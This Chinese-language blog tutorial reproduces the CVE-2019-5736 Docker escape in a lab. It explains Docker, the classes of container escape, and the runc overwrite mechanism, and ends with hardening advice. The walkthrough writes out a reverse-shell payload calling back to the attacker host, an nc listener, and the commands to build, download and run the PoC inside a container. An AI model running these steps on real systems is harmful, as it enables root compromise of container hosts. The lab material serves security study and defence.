CVE-2019-5736 Docker逃逸

Docker是什么?

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口

Docker环境和普通生产环境的差异在哪呢?举个列子,在普通的生产环境中,我们程序员写的代码产品在开发环境中能够运行起来,但却在测试环境中很容易出现各种的Bug,报错,这是因为两个环境中机器的配置和环境不一样所导致的

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker

而Docker的出现解决了这一差异性的问题

在举一个列子,平时我们在做开发项目的时候,需要去配置一大堆的环境依赖,而当我们需要将项目迁移到其他主机或者平台的时候,那是不是也要将一大堆的配置环境依赖同样进行迁移,显得相当的麻烦

像平时我们在生产环境中,会去做集群,负载均衡,来让多台服务器共同承担一个责任,分摊访问流量的压力,当我们部署好一台服务器时,你还需要更多一摸一样的服务器,这个时候,你应该怎么办呢?是不是得将环境依赖什么的从头到尾重新安装一遍,是不是会非常麻烦

所以归根结底,突出两个问题,一是环境一致性的问题,二是重复配置,浪费时间的问题,所以Docker的出现解决了这两个问题

你可以把Docker理解成一个镜像,当我们需要在其他服务器上配置相同的项目环境时

CVE漏洞复现-CVE-2019-5736 Docker逃逸_安全_02

我们使用Docker相当于复制了一个环境过去,极大解决了硬件环境所造成的环境差异性的问题和需要重复配置环境的问题

CVE漏洞复现-CVE-2019-5736 Docker逃逸_安全_03


那我们Docker的概念是不是和虚拟机有些相同?那Docker和虚拟机的差异又在哪呢?

虚拟机和Docker的对比:

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_04

特性

虚拟机

容器

启动

分钟级

秒级

部署创建速度



硬盘使用

一般为GB

一般为MB

性能

弱于原生系统,和监视器交互

接近原生系统,和内核交互

资源利用率

一般几十个

单机支持上千各容器

隔离性

系统级别隔离,更强

进程之间的隔离,弱

安全性



容器技术发展历史:

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_05

Docker使用场景:

1、实现快速部署(镜像),例:vulhub.org
2、解决环境一致性的问题,例:部署应用
3、提升服务器的利用率,降低成本,例:安装服务
4、隔离不同的应用

Docker的组成

Docker组成:

CVE漏洞复现-CVE-2019-5736 Docker逃逸_网络安全_06


核心概念:

  • 镜像Image:打包好的应用环境,模板,不能修改,列:Nginx、Tomcat、MySQL、桃宝商城、Ubuntu镜像
  • 容器Container:镜像+读写层,有状态:运行、暂停、停止
  • 仓库Registry:存放各种镜像,提供上传和下载,官方仓库:https://hub.docker.com

复现环境搭建说明

什么叫Docker逃逸?

Docker容器相当于一个小型的Linux操作系统,有自己磁盘、网络、进程、用户体系,而Docker逃逸就是我们由Docker权限获得到主机root权限的过程,简单来说就是从Docker的权限得到了部署Docker环境的主机的权限

Docker逃逸原因类型

1、由操作系统内核漏洞引起:CVE-2016-5195(脏牛)
2、由Docker本身的漏洞引起:CVE-2019-5736、CVE- 2019-14271
3、由Docker配置和使用不当引起

(1)开启privileged(特权模式)
(2)宿主机目录挂载(文件挂载)
(3)docket remote api未授权访问导致逃逸

参考链接:浅析docker的多种逃逸方法

CVE-2019-5736 环境搭建

漏洞条件:

root运行Docker
Docker Version < 18.09.2
runc版本<=1.0-rc6

现成靶机下载

链接:https://pan.baidu.com/s/19uXXlyAUUJLX4wJcwEAUgw?pwd=8888 靶机密码:123456 两个账户都是

Docker逃逸演示

复现环境

机器名

IP

kali

192.168.142.128

centos

192.168.142.166

Kali机器开启监听

nc -lvnp 7777

CVE漏洞复现-CVE-2019-5736 Docker逃逸_网络安全_07

靶机查看版本

docker -v
docker-runc -v

CVE漏洞复现-CVE-2019-5736 Docker逃逸_linux_08

启动Docker服务(这一步需要输入密码123456)

service docker start

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_09

运行一个容器

docker run -it ubuntu:18.04 "/bin/bash"

CVE漏洞复现-CVE-2019-5736 Docker逃逸_网络安全_10

下载编译利用脚本

git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd /home/kali/桌面/CVE-2019-5736-PoC-master

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_11

编辑POC文件

vim main.go

加入反弹shell的命令

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.128/7777 0>&1" + shellCmd

CVE漏洞复现-CVE-2019-5736 Docker逃逸_Docker_12

修改脚本编译脚本

首先安装go编译环境

yum install epel-release
yum install golang

CVE漏洞复现-CVE-2019-5736 Docker逃逸_Docker_13

编译poc

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_14

kali机器开启HTTP服务

python -m http.server 7987

CVE漏洞复现-CVE-2019-5736 Docker逃逸_安全_15

centos机器下载poc

curl -O http://192.168.142.128/main

如图我们已经成功的向Docker的主机上传了Poc文件

CVE漏洞复现-CVE-2019-5736 Docker逃逸_Docker_16

然后由于我们要做的是容器逃逸,所以POC需要运行在容器环境中,所以我们需要将main.go文件拷贝到Docker环境中

查看容器

docker container ls -a

启动容器

docker start  501c

CVE漏洞复现-CVE-2019-5736 Docker逃逸_linux_17

容器拷贝poc

docker cp ./main  501c:/home

CVE漏洞复现-CVE-2019-5736 Docker逃逸_linux_18

进入Docker bash

docker exec -it 501c /bin/sh
cd /home
ls

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_19

在容器中执行poc

chmod 777 main
./main

CVE漏洞复现-CVE-2019-5736 Docker逃逸_Docker_20

centos以root身份再次进入Docker

docker exec -it 501c /bin/bash

CVE漏洞复现-CVE-2019-5736 Docker逃逸_docker_21

docker容器执行反弹shell命令

CVE漏洞复现-CVE-2019-5736 Docker逃逸_linux_22

kali机器收到监听会话

CVE漏洞复现-CVE-2019-5736 Docker逃逸_Docker_23

原理分析

在runc exec加入到容器的命名空间之后(runc运行原理),容器内进程已经能够通过内部/proc(虚拟文件系统)观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖。
下一次用户调用runc去执行命令时,实际执行的将是攻击者放置的指令。

总结:篡改了系统的runc文件,在其中加入恶意代码,在下一次run exec的时候导致恶意代码执行

Docker安全加固

Docker安全检测

自动化利用工具:https://github.com/cdk-team/CDK

这个工具可以检测Docker容器和K8S集群的一些漏洞

Docker加固建议

1、升级Docker到最新版
2、升级Linux内核
3、不建议以root权限运行Docker服务
4、不建议以privileged(特权模式)启动Docker
5、不建议将宿主机目录挂载至容器目录
6、不建议将容器以–cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

参考资料:https://mp.weixin.qq.com/s/R5DV0X3QpYmaxVxIexRYgA